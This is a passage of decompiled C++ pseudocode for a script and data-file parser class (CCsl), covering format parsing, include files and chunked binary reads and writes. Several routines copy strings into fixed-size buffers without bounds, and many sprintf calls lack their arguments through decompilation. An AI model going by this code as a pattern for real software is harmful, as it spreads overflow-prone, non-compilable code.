[bp-258h]@0 signed int bFormat; // [sp+1Ch] [bp-254h]@1 CCsl::CSL_FORMAT_LIST *pFormats; // [sp+24h] [bp-24Ch]@9 char FormatBF[65]; // [sp+28h] [bp-248h]@1 char RetMsg[512]; // [sp+6Ch] [bp-204h]@22 v1 = this; memset(FormatBF, 0, 0x40u); v2 = 0; FormatBF[64] = 0; NumParameters = 0; pParameters = 0; bFormat = 0; while ( 1 ) { while ( 1 ) { while ( 1 ) { do { v3 = CToken::GetToken(&v1->baseclass_0); v4 = v3; if ( !v3 ) { ++v1->m_NumFormatErrors; sprintf(RetMsg, "FORMAT DEFINNING, EOF Come."); CCsl::AddResultMsg(v1, RetMsg); return 0; } } while ( CCsl::ProcRemark(v1, v3) ); if ( bFormat ) break; strncpy(FormatBF, v4, 0x40u); bFormat = 1; } v5 = CToken::IsTokenID(&v1->baseclass_0, (char *)v4, v1->m_pCslParameter, 0x13u); v6 = v5; if ( v5 > 0x11 ) break; v9 = operator new(8u); *((_DWORD *)v9 + 1) = 0; *(_DWORD *)v9 = v6; if ( pParameters ) { ++v2; *((_DWORD *)pParameterLast + 1) = v9; pParameterLast = v9; NumParameters = v2; } else { ++v2; pParameters = v9; pParameterLast = v9; NumParameters = v2; } } if ( v5 == 18 ) break; v7 = (const char *)v1->m_pFormats; v8 = 0; pFormats = v1->m_pFormats; if ( v1->m_NumFormats > 0 ) { while ( _mbsicmp(v4, v7) ) { ++v8; v7 += 76; if ( v8 >= v1->m_NumFormats ) goto LABEL_21; } v10 = (int)&pFormats[v8]; for ( i = 0; i < *(_DWORD *)(v10 + 64); ++NumParameters ) { v12 = operator new(8u); *((_DWORD *)v12 + 1) = 0; *(_DWORD *)v12 = *(_DWORD *)(*(_DWORD *)(v10 + 68) + 4 * i); if ( pParameters ) *((_DWORD *)pParameterLast + 1) = v12; else pParameters = v12; pParameterLast = v12; ++i; } } LABEL_21: if ( v8 >= v1->m_NumFormats ) { ++v1->m_NumFormatErrors; sprintf(RetMsg, "%s - FORMAT DEFINING, UNKNOWNED PARAMATER."); CCsl::AddResultMsg(v1, RetMsg); } v2 = NumParameters; } v13 = operator new(0x4Cu); v14 = v13; *((_DWORD *)v13 + 18) = 0; memset(v13, 0, 0x40u); v15 = (int)FormatBF; do { v16 = *(_BYTE *)v15; *(_BYTE *)(v14 - FormatBF + v15) = *(_BYTE *)v15; ++v15; } while ( v16 ); *((_DWORD *)v14 + 16) = v2; v17 = 0; for ( *((_DWORD *)v14 + 17) = operator new__(4 * v2); v17 < v2; ++v17 ) { v18 = pParameters; *(_DWORD *)(*((_DWORD *)v14 + 17) + 4 * v17) = *(_DWORD *)pParameters; pParameters = (void *)*((_DWORD *)pParameters + 1); operator delete(v18); } return (CCsl::CSL_FORMAT_LIST *)v14; } //----- (00562A50) -------------------------------------------------------- int __thiscall CCsl::AddFormat(CCsl *this, CCsl::CSL_FORMAT_LIST *pAddFormat) { if ( this->m_pFormats ) this->m_pFormatLast->pNext = pAddFormat; else this->m_pFormats = pAddFormat; this->m_pFormatLast = pAddFormat; ++this->m_NumFormats; return 1; } //----- (00562A90) -------------------------------------------------------- char *__thiscall CCsl::GetDataToken(CCsl *this) { CCsl *v1; // esi@1 char *v2; // eax@2 char *v3; // edi@2 char RetMsg[512]; // [sp+8h] [bp-204h]@5 v1 = this; while ( 1 ) { v2 = CToken::GetToken(&v1->baseclass_0); v3 = v2; if ( !v2 ) break; if ( !CCsl::ProcRemark(v1, v2) ) return v3; } ++v1->m_NumFormatErrors; sprintf(RetMsg, "DATA DEFINNING, EOF Come"); CCsl::AddResultMsg(v1, RetMsg); return v1->m_pDummyNull; } //----- (00562B20) -------------------------------------------------------- int __thiscall CCsl::Parameter_filename(CCsl *this, char *pFileName) { char *v2; // eax@1 char *v3; // edx@1 char v4; // cl@2 CCsl *strsize; // [sp+0h] [bp-4h]@1 strsize = this; v2 = CToken::GetTokenString(&this->baseclass_0, (int *)&strsize); v3 = pFileName; do { v4 = *v2++; *v3++ = v4; } while ( v4 ); return 1; } //----- (00562B50) -------------------------------------------------------- CCsl::CSL_DATA_LIST *__thiscall CCsl::MakeData(CCsl *this, unsigned int dwID, CCsl::CSL_FORMAT_LIST *pFormat) { CCsl *v3; // ebx@1 int v4; // ecx@1 unsigned int v5; // esi@1 CCsl::CSL_PARAMETER *v6; // eax@2 void *v7; // ebp@4 void *v8; // eax@4 int v9; // edi@4 int i; // ecx@4 CCsl::CSL_FORMAT_LIST *v11; // edi@7 int v12; // esi@7 int v13; // eax@7 char *v14; // eax@9 char *v15; // eax@10 char *v16; // eax@11 char *v17; // eax@12 int v18; // edx@12 char v19; // cl@13 char *v20; // eax@15 int v21; // edx@15 char v22; // cl@16 char *v23; // eax@18 int v24; // edx@18 char v25; // cl@19 char *v26; // eax@21 int v27; // edx@21 char v28; // cl@22 int pstrsize; // [sp+10h] [bp-14h]@15 char v31; // [sp+14h] [bp-10h]@18 char v32; // [sp+18h] [bp-Ch]@21 char v33; // [sp+1Ch] [bp-8h]@24 char v34; // [sp+20h] [bp-4h]@25 int dwIDa; // [sp+28h] [bp+4h]@7 v3 = this; v4 = pFormat->NumParameter; v5 = 0; if ( v4 > 0 ) { v6 = pFormat->pParameter; do { v5 += v3->m_pCslParameterSize[*v6]; ++v6; --v4; } while ( v4 ); } v7 = operator new(0x10u); *((_DWORD *)v7 + 3) = 0; *(_DWORD *)v7 = dwID; *((_DWORD *)v7 + 1) = v5; v8 = operator new__(v5); *((_DWORD *)v7 + 2) = v8; memset(v8, 0, 4 * (v5 >> 2)); v9 = (int)((char *)v8 + 4 * (v5 >> 2)); for ( i = v5 & 3; i; --i ) *(_BYTE *)v9++ = 0; v11 = pFormat; v12 = *((_DWORD *)v7 + 2); v13 = 0; for ( dwIDa = 0; dwIDa < v11->NumParameter; ++dwIDa ) { switch ( v11->pParameter[v13] ) { case 0: case 1: case 2: case 3: v14 = CCsl::GetDataToken(v3); *(_DWORD *)v12 = atoi(v14); goto LABEL_26; case 4: case 5: v15 = CCsl::GetDataToken(v3); sscanf(v15, "%x"); goto LABEL_26; case 6: case 7: v16 = CCsl::GetDataToken(v3); *(float *)v12 = atof(v16); goto LABEL_26; case 8: v17 = CToken::GetTokenString(&v3->baseclass_0, (int *)&pFormat); v18 = v12; do { v19 = *v17++; *(_BYTE *)v18++ = v19; } while ( v19 ); v12 += v3->m_pCslParameterSize[8]; break; case 9: v20 = CToken::GetTokenString(&v3->baseclass_0, &pstrsize); v21 = v12; do { v22 = *v20++; *(_BYTE *)v21++ = v22; } while ( v22 ); v12 += v3->m_pCslParameterSize[9]; break; case 0xA: v23 = CToken::GetTokenString(&v3->baseclass_0, (int *)&v31); v24 = v12; do { v25 = *v23++; *(_BYTE *)v24++ = v25; } while ( v25 ); v12 += v3->m_pCslParameterSize[10]; break; case 0xB: v26 = CToken::GetTokenString(&v3->baseclass_0, (int *)&v32); v27 = v12; do { v28 = *v26++; *(_BYTE *)v27++ = v28; } while ( v28 ); v12 += v3->m_pCslParameterSize[11]; break; case 0xC: *(_DWORD *)v12 = *CToken::GetTokenString(&v3->baseclass_0, (int *)&v33); goto LABEL_26; case 0xD: *(_DWORD *)v12 = *CToken::GetTokenString(&v3->baseclass_0, (int *)&v34); LABEL_26: v12 += 4; break; default: break; } v13 = dwIDa + 1; } return (CCsl::CSL_DATA_LIST *)v7; } //----- (00562D60) -------------------------------------------------------- int __thiscall CCsl::ProcData(CCsl *this, char *Token, char *pRet) { CCsl *v3; // esi@1 unsigned int v4; // ebx@1 CCsl::CSL_FORMAT_LIST *v5; // edi@1 int result; // eax@5 CCsl::CSL_DATA_LIST *v7; // eax@6 v3 = this; v4 = 0; v5 = this->m_pFormats; if ( this->m_NumFormats > 0 ) { do { if ( !_mbsicmp(Token, v5->Format) ) break; v5 = v5->pNext; ++v4; } while ( (signed int)v4 < v3->m_NumFormats ); } if ( (signed int)v4 < v3->m_NumFormats ) { v7 = CCsl::MakeData(v3, v4, v5); if ( v7 ) { if ( v3->m_pDatas ) v3->m_pDataLast->pNext = v7; else v3->m_pDatas = v7; v3->m_pDataLast = v7; ++v3->m_NumDatas; } result = 1; } else { result = 0; } return result; } //----- (00562DF0) -------------------------------------------------------- void __thiscall CCsl::ReadScriptDone(CCsl *this) { CCsl *v1; // esi@1 char RetMsg[512]; // [sp+4h] [bp-204h]@2 v1 = this; if ( this->m_bInclude ) { sprintf(RetMsg, "Include Format %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); sprintf(RetMsg, "Include Data %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); CCsl::AddResultMsg(v1, (char *)&stru_5A4E3C); v1->m_pParentCsl->m_NumFormatErrors += v1->m_NumFormatErrors; v1->m_pParentCsl->m_NumDataErrors += v1->m_NumDataErrors; v1->m_pParentCsl->m_NumFormats = v1->m_NumFormats; v1->m_pParentCsl->m_pFormats = v1->m_pFormats; v1->m_pParentCsl->m_pFormatLast = v1->m_pFormatLast; v1->m_pParentCsl->m_NumDatas = v1->m_NumDatas; v1->m_pParentCsl->m_pDatas = v1->m_pDatas; v1->m_pParentCsl->m_pDataLast = v1->m_pDataLast; v1->m_pParentCsl->m_pResultMsgLast = v1->m_pResultMsgLast; v1->m_pParentCsl->m_dwNumResultMsg = v1->m_dwNumResultMsg; v1->m_pParentCsl->m_pResultMsgs = v1->m_pResultMsgs; } else { CCsl::AddResultMsg(this, (char *)&stru_5A4E3C); sprintf(RetMsg, "TOTAL Format %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); sprintf(RetMsg, "TOTAL Data %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); CCsl::AddResultMsg(v1, (char *)&stru_5A4E3C); CCsl::MakeFormatTable(v1); CCsl::MakeDataTable(v1); } } //----- (00563010) -------------------------------------------------------- int __thiscall CCsl::Read(CCsl *this, char *lpszPathName) { CCsl *v2; // ebp@1 void *v3; // eax@1 void *v4; // ebx@1 unsigned int v5; // eax@2 int result; // eax@4 int v7; // esi@5 void *v8; // esi@11 void *v9; // ebx@12 void *v10; // eax@12 int v11; // esi@15 void *v12; // eax@16 int v13; // esi@16 void *v14; // eax@17 void *v15; // ebx@17 int v16; // eax@17 char v17; // cl@18 void *v18; // eax@19 void *v19; // [sp-Ch] [bp-2Ch]@15 void *pTemp; // [sp+8h] [bp-18h]@11 void *pTempa; // [sp+8h] [bp-18h]@16 unsigned int dwDoneSize; // [sp+Ch] [bp-14h]@9 void *hFile; // [sp+10h] [bp-10h]@1 unsigned int dwFileSize; // [sp+14h] [bp-Ch]@2 CCsl::CSL_CHUNK_INFO Chunk; // [sp+18h] [bp-8h]@8 v2 = this; v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x80000000u, 1u, 0, 3u, 0x80u, 0); v4 = v3; hFile = v3; if ( v3 == (void *)-1 ) return 0; v5 = CGdp::GetFileSize(&v2->baseclass_0.m_Gdp, v3, 0); dwFileSize = v5; if ( v5 == -1 ) { CGdp::CloseHandle(&v2->baseclass_0.m_Gdp, v4); return 0; } v7 = 0; if ( v5 ) { while ( CGdp::ReadFile(&v2->baseclass_0.m_Gdp, v4, &Chunk, 8u, (unsigned int *)&lpszPathName, 0) ) { dwDoneSize = v7 + Chunk.dwSize + 8; if ( Chunk.dwID == 286331153 ) { v12 = operator new__(Chunk.dwSize + 8); v13 = (int)((char *)v12 + 8); pTempa = v12; if ( !CGdp::ReadFile( &v2->baseclass_0.m_Gdp, v4, (char *)v12 + 8, Chunk.dwSize, (unsigned int *)&lpszPathName, 0) ) break; v14 = operator new(0x4Cu); v15 = v14; *((_DWORD *)v14 + 18) = 0; memset(v14, 0, 0x40u); v16 = v13; do { v17 = *(_BYTE *)v16; *((_BYTE *)v15 + v16 - v13) = *(_BYTE *)v16; ++v16; } while ( v17 ); *((_DWORD *)v15 + 16) = *((_DWORD *)pTempa + 18); v18 = operator new__(4 * *((_DWORD *)pTempa + 18)); *((_DWORD *)v15 + 17) = v18; memcpy(v18, (char *)pTempa + 76, 4 * *((_DWORD *)pTempa + 18)); if ( v2->m_pFormats ) v2->m_pFormatLast->pNext = (CCsl::CSL_FORMAT_LIST *)v15; else v2->m_pFormats = (CCsl::CSL_FORMAT_LIST *)v15; ++v2->m_NumFormats; v2->m_pFormatLast = (CCsl::CSL_FORMAT_LIST *)v15; v19 = pTempa; } else { if ( Chunk.dwID != 572662306 || (v8 = operator new__(Chunk.dwSize + 8), pTemp = v8, !CGdp::ReadFile( &v2->baseclass_0.m_Gdp, v4, (char *)v8 + 8, Chunk.dwSize, (unsigned int *)&lpszPathName, 0)) ) break; v9 = operator new(0x10u); *((_DWORD *)v9 + 3) = 0; *(_DWORD *)v9 = *((_DWORD *)v8 + 2); *((_DWORD *)v9 + 1) = *((_DWORD *)v8 + 3); v10 = operator new__(*((_DWORD *)v8 + 3)); *((_DWORD *)v9 + 2) = v10; memcpy(v10, (char *)v8 + 16, *((_DWORD *)v8 + 3)); if ( v2->m_pDatas ) v2->m_pDataLast->pNext = (CCsl::CSL_DATA_LIST *)v9; else v2->m_pDatas = (CCsl::CSL_DATA_LIST *)v9; v11 = v2->m_NumDatas + 1; v2->m_pDataLast = (CCsl::CSL_DATA_LIST *)v9; v2->m_NumDatas = v11; v19 = pTemp; } operator delete(v19); if ( dwFileSize <= dwDoneSize ) return 1; v7 = dwDoneSize; v4 = hFile; } CGdp::CloseHandle(&v2->baseclass_0.m_Gdp, v4); result = 0; } else { result = 1; } return result; } //----- (00563270) -------------------------------------------------------- int __thiscall CCsl::WriteFormat(CCsl *this, char *lpszPathName, void *hFile) { void *v3; // esi@1 CCsl *v4; // edi@1 int result; // eax@3 CCsl::CSL_FORMAT_LIST *v6; // ebx@4 signed int bUseOpenedHandle; // [sp+8h] [bp-Ch]@1 CCsl::CSL_CHUNK_INFO Chunk; // [sp+Ch] [bp-8h]@5 v3 = hFile; v4 = this; bUseOpenedHandle = 1; if ( hFile != (void *)-1 || (bUseOpenedHandle = 0, v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0), v3 != (void *)-1) ) { v6 = v4->m_pFormats; if ( v6 ) { while ( 1 ) { Chunk.dwID = 286331153; Chunk.dwSize = 4 * v6->NumParameter + 68; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &Chunk, 8u, (unsigned int *)&hFile, 0) ) break; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6, 0x40u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &v6->NumParameter, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile( &v4->baseclass_0.m_Gdp, v3, v6->pParameter, 4 * v6->NumParameter, (unsigned int *)&hFile, 0) ) break; v6 = v6->pNext; if ( !v6 ) goto LABEL_10; } if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 0; } else { LABEL_10: if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 1; } } else { result = 0; } return result; } //----- (005633A0) -------------------------------------------------------- int __thiscall CCsl::WriteData(CCsl *this, char *lpszPathName, void *hFile) { void *v3; // esi@1 CCsl *v4; // edi@1 int result; // eax@3 CCsl::CSL_DATA_LIST *v6; // ebx@4 signed int bUseOpenedHandle; // [sp+8h] [bp-Ch]@1 CCsl::CSL_CHUNK_INFO Chunk; // [sp+Ch] [bp-8h]@5 v3 = hFile; v4 = this; bUseOpenedHandle = 1; if ( hFile != (void *)-1 || (bUseOpenedHandle = 0, v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0), v3 != (void *)-1) ) { v6 = v4->m_pDatas; if ( v6 ) { while ( 1 ) { Chunk.dwID = 572662306; Chunk.dwSize = v6->dwSize + 8; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &Chunk, 8u, (unsigned int *)&hFile, 0) ) break; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &v6->dwSize, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6->pData, v6->dwSize, (unsigned int *)&hFile, 0) ) break; v6 = v6->pNext; if ( !v6 ) goto LABEL_10; } if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 0; } else { LABEL_10: if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 1; } } else { result = 0; } return result; } //----- (005634C0) -------------------------------------------------------- void __thiscall CCsl::ClearFormats(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@2 void *v3; // eax@3 v1 = this; while ( v1->m_pFormats ) { operator delete(v1->m_pFormats->pParameter); v2 = v1->m_pFormats; v1->m_pFormats = v1->m_pFormats->pNext; operator delete(v2); } v3 = v1->m_ppFormatTable; v1->m_NumFormats = 0; if ( v3 ) { operator delete(v3); v1->m_ppFormatTable = 0; } } //----- (00563530) -------------------------------------------------------- void __thiscall CCsl::ClearDatas(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@2 void *v3; // eax@3 v1 = this; while ( v1->m_pDatas ) { operator delete(v1->m_pDatas->pData); v2 = v1->m_pDatas; v1->m_pDatas = v1->m_pDatas->pNext; operator delete(v2); } v3 = v1->m_ppDataTable; v1->m_NumDatas = 0; if ( v3 ) { operator delete__(v3); v1->m_ppDataTable = 0; } } //----- (005635A0) -------------------------------------------------------- void __thiscall CCsl::Close(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@3 v1 = this; CToken::Close(&this->baseclass_0); if ( !v1->m_bInclude ) { while ( v1->m_pResultMsgs ) { v2 = v1->m_pResultMsgs; v1->m_pResultMsgs = v1->m_pResultMsgs->pNext; operator delete(v2); } v1->m_dwNumResultMsg = 0; CCsl::ClearFormats(v1); CCsl::ClearDatas(v1); if ( v1->m_CslRemarks ) operator delete(v1->m_CslRemarks); v1->m_CslRemarks = 0; } } //----- (00563620) -------------------------------------------------------- void __thiscall CCsl::Clear(CCsl *this) { CCsl *v1; // ebx@1 void *v2; // eax@1 v1 = this; CCsl::Close(this); CCsl::VarClear(v1); v1->m_pDummyNull = byte_5A62A6; v2 = operator new__(0x1Cu); v1->m_CslRemarks = (char **)v2; memcpy(v2, pCslRemarks, 0x1Cu); *(_DWORD *)&v1->m_CslSeprator[0] = *(_DWORD *)", \t\r\n"; *(_WORD *)&v1->m_CslSeprator[4] = *(_WORD *)"\n"; *(_WORD *)&v1->m_CslRemarkLine[0] = 59; *(_WORD *)&v1->m_CslRemarkStart[0] = *(_WORD *)"/*"; v1->m_CslRemarkStart[2] = asc_5E7200[2]; *(_WORD *)&v1->m_CslRemarkEnd[0] = *(_WORD *)"*/"; v1->m_CslRemarkEnd[2] = asc_5E71FC[2]; *v1->m_CslRemarks = v1->m_CslRemarkLine; *((_DWORD *)v1->m_CslRemarks + 1) = (char *)v1 + 1088; *((_DWORD *)v1->m_CslRemarks + 2) = (char *)v1 + 1152; v1->m_pCslCmd = pCslCmd; v1->m_pCslParameter = pCslParameter; v1->m_pCslParameterSize = pCslParameterSize; } //----- (00563700) -------------------------------------------------------- void __thiscall CCsl::_CCsl(CCsl *this) { CToken *v1; // esi@1 v1 = (CToken *)this; CCsl::Close(this); CToken::_CToken(v1); } //----- (00563750) -------------------------------------------------------- void __thiscall CCsl::CCsl(CCsl *this) { CCsl *v1; // esi@1 CCsl *v2; // ecx@1 v1 = this; CToken::CToken(&this->baseclass_0); v1->m_CslRemarks = 0; CCsl::VarClear(v1); CCsl::Clear(v2); } //----- (005637A0) -------------------------------------------------------- void __thiscall CCsl::CCsl(CCsl *this, CCsl *pParentCsl) { CCsl *v2; // esi@1 char *v3; // ecx@2 char v4; // dl@3 char *v5; // ecx@4 char v6; // dl@5 char *v7; // ecx@6 char v8; // dl@7 char *v9; // ecx@8 char v10; // dl@9 CCsl thisa; // [sp+4h] [bp-504h]@11 int v12; // [sp+504h] [bp-4h]@1 v2 = this; CToken::CToken(&this->baseclass_0); v12 = 0; if ( pParentCsl ) { v2->m_bEnd = pParentCsl->m_bEnd; v3 = pParentCsl->m_CslSeprator; v2->m_bRemarkBlock = pParentCsl->m_bRemarkBlock; v2->m_NumFormatErrors = 0; v2->m_NumDataErrors = 0; do { v4 = *v3; v3[v2->m_CslSeprator - pParentCsl->m_CslSeprator] = *v3; ++v3; } while ( v4 ); v5 = pParentCsl->m_CslRemarkLine; do { v6 = *v5; v5[v2->m_CslRemarkLine - pParentCsl->m_CslRemarkLine] = *v5; ++v5; } while ( v6 ); v7 = pParentCsl->m_CslRemarkStart; do { v8 = *v7; v7[v2->m_CslRemarkStart - pParentCsl->m_CslRemarkStart] = *v7; ++v7; } while ( v8 ); v9 = pParentCsl->m_CslRemarkEnd; do { v10 = *v9; v9[v2->m_CslRemarkEnd - pParentCsl->m_CslRemarkEnd] = *v9; ++v9; } while ( v10 ); v2->m_CslRemarks = pParentCsl->m_CslRemarks; v2->m_pCslCmd = pParentCsl->m_pCslCmd; v2->m_pCslParameter = pParentCsl->m_pCslParameter; v2->m_pCslParameterSize = pParentCsl->m_pCslParameterSize; v2->m_NumFormats = pParentCsl->m_NumFormats; v2->m_pFormats = pParentCsl->m_pFormats; v2->m_pFormatLast = pParentCsl->m_pFormatLast; v2->m_NumDatas = pParentCsl->m_NumDatas; v2->m_pDatas = pParentCsl->m_pDatas; v2->m_pDataLast = pParentCsl->m_pDataLast; v2->m_dwNumResultMsg = pParentCsl->m_dwNumResultMsg; v2->m_pResultMsgLast = pParentCsl->m_pResultMsgLast; v2->m_pResultMsgs = pParentCsl->m_pResultMsgs; v2->m_pParentCsl = pParentCsl; v2->m_bInclude = 1; } else { CCsl::CCsl(&thisa); CCsl::_CCsl(&thisa); } } //----- (00563950) -------------------------------------------------------- void __thiscall CCsl::IncludeFile(CCsl *this) { CCsl *v1; // esi@1 char *v2; // eax@1 int v3; // edx@1 char v4; // cl@2 unsigned int v5; // ST28_4@3 HWND__ *v6; // ST24_4@3 char drive[3]; // [sp+0h] [bp-C20h]@3 int pstrsize; // [sp+4h] [bp-C1Ch]@1 char CurrDir[260]; // [sp+8h] [bp-C18h]@3 char AbsPath[260]; // [sp+10Ch] [bp-B14h]@3 char NewCurrDir[260]; // [sp+210h] [bp-A10h]@3 char dir[256]; // [sp+314h] [bp-90Ch]@3 char szPathName[260]; // [sp+414h] [bp-80Ch]@1 char fname[256]; // [sp+518h] [bp-708h]@3 char ext[256]; // [sp+618h] [bp-608h]@3 CCsl Include; // [sp+718h] [bp-508h]@3 unsigned int v17; // [sp+C10h] [bp-10h]@3 int v18; // [sp+C1Ch] [bp-4h]@3 v1 = this; v2 = CToken::GetTokenString(&this->baseclass_0, &pstrsize); v3 = (int)szPathName; do { v4 = *v2++; *(_BYTE *)v3++ = v4; } while ( v4 ); GetCurrentDirectoryA(0x104u, CurrDir); _fullpath(AbsPath, v1->m_ScriptFN, 0x104u); _splitpath(AbsPath, drive, dir, fname, ext); sprintf(NewCurrDir, "%s%s"); SetCurrentDirectoryA(NewCurrDir); CToken::SaveTokenPositon(&v1->baseclass_0); CCsl::CCsl(&Include, v1); v5 = v1->m_UseMsgID; v6 = v1->m_hWnd; v18 = 0; CCsl::ReadScript(&Include, szPathName, v6, v5, 0); CToken::RestoreTokenPositon(&v1->baseclass_0, 0); SetCurrentDirectoryA(CurrDir); v18 = -1; CCsl::_CCsl(&Include); __security_check_cookie(v17); } //----- (00563AB0) -------------------------------------------------------- int __thiscall CCsl::ProcCmd(CCsl *this, char *Token, char *pRet) { CCsl *v3; // esi@1 int result; // eax@2 CCsl::CSL_FORMAT_LIST *v5; // eax@3 void *v6; // eax@14 void *v7; // edi@14 void *v8; // edi@21 CCsl::CSL_FORMAT_LIST *v9; // ebx@22 void *v10; // edi@33 CCsl::CSL_DATA_LIST *v11; // ebx@34 const char *v12; // [sp-8h] [bp-32Ch]@18 const char *v13; // [sp-8h] [bp-32Ch]@28 unsigned int NumberOfBytesWritten; // [sp+10h] [bp-314h]@23 int Buffer; // [sp+14h] [bp-310h]@23 int v16; // [sp+18h] [bp-30Ch]@23 char szPathName[260]; // [sp+1Ch] [bp-308h]@9 char RetMsg[512]; // [sp+120h] [bp-204h]@11 v3 = this; switch ( CToken::IsTokenID(&this->baseclass_0, Token, this->m_pCslCmd, 0xAu) ) { case 0u: v3->m_bEnd = 1; return 1; case 1u: v5 = CCsl::MakeFormat(v3); if ( !v5 ) return 1; CCsl::AddFormat(v3, v5); return 1; case 2u: CCsl::IncludeFile(v3); return 1; case 3u: CCsl::ClearFormats(v3); goto $L64606; case 5u: $L64606: CCsl::ClearDatas(v3); return 1; case 4u: CCsl::ClearFormats(v3); return 1; case 6u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; if ( CCsl::Read(v3, szPathName) ) { sprintf(RetMsg, "%s - READ OK"); CCsl::AddResultMsg(v3, RetMsg); result = 1; } else { ++v3->m_NumDataErrors; sprintf(RetMsg, "%s - READ ERROR"); CCsl::AddResultMsg(v3, RetMsg); result = 1; } return result; case 7u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v6 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); v7 = v6; if ( v6 == (void *)-1 ) goto LABEL_18; if ( CCsl::WriteFormat(v3, 0, v6) && CCsl::WriteData(v3, 0, v7) ) { CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v7); v12 = "%s - WRITE OK"; goto LABEL_44; } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v7); LABEL_18: v12 = "%s - WRITE ERROR"; goto LABEL_43; case 8u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v8 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); if ( v8 == (void *)-1 ) goto LABEL_30; v9 = v3->m_pFormats; if ( !v9 ) goto LABEL_28; while ( 1 ) { Buffer = 286331153; v16 = 4 * v9->NumParameter + 68; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v8, &Buffer, 8u, &NumberOfBytesWritten, 0) ) break; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v8, v9, 0x40u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v8, &v9->NumParameter, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile( &v3->baseclass_0.m_Gdp, v8, v9->pParameter, 4 * v9->NumParameter, &NumberOfBytesWritten, 0) ) break; v9 = v9->pNext; if ( !v9 ) { LABEL_28: CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v8); v13 = "%s - WRITE FORMAT OK"; goto LABEL_31; } } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v8); LABEL_30: ++v3->m_NumDataErrors; v13 = "%s - WRITE FORMAT ERROR"; LABEL_31: sprintf(RetMsg, v13); CCsl::AddResultMsg(v3, RetMsg); return 1; case 9u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v10 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); if ( v10 == (void *)-1 ) goto LABEL_42; v11 = v3->m_pDatas; if ( !v11 ) goto LABEL_40; break; default: return 0; } while ( 1 ) { Buffer = 572662306; v16 = v11->dwSize + 8; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v10, &Buffer, 8u, &NumberOfBytesWritten, 0) ) break; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v10, v11, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v10, &v11->dwSize, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v10, v11->pData, v11->dwSize, &NumberOfBytesWritten, 0) ) break; v11 = v11->pNext; if ( !v11 ) { LABEL_40: CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v10); v12 = "%s - WRITE DATA OK"; goto LABEL_44; } } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v10); LABEL_42: v12 = "%s - WRITE DATA ERROR"; LABEL_43: ++v3->m_NumDataErrors; LABEL_44: sprintf(RetMsg, v12); CCsl::AddResultMsg(v3, RetMsg); return 1; } //----- (00563F10) -------------------------------------------------------- int __thiscall CCsl::ReadScript(CCsl *this, char *lpszPathName, HWND__ *hWnd, unsigned int UseMsgID, void *pMemory) { CCsl *v5; // esi@1 int v6; // eax@2 char *v7; // eax@9 char v8; // cl@10 char *v9; // eax@12 char *v10; // edi@12 int v11; // edx@18 int result; // eax@18 char *v13; // [sp-14h] [bp-220h]@20 const char *v14; // [sp-10h] [bp-21Ch]@20 char *v15; // [sp-4h] [bp-210h]@6 char RetMsg[512]; // [sp+8h] [bp-204h]@6 v5 = this; this->m_hWnd = hWnd; this->m_UseMsgID = UseMsgID; if ( pMemory ) v6 = CToken::OpenFromMemory(&this->baseclass_0, (char *)pMemory); else v6 = CToken::Open(&this->baseclass_0, lpszPathName); if ( v6 ) { if ( v5->m_bInclude ) { CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); sprintf(RetMsg, "Include - %s "); CCsl::AddResultMsg(v5, RetMsg); v15 = 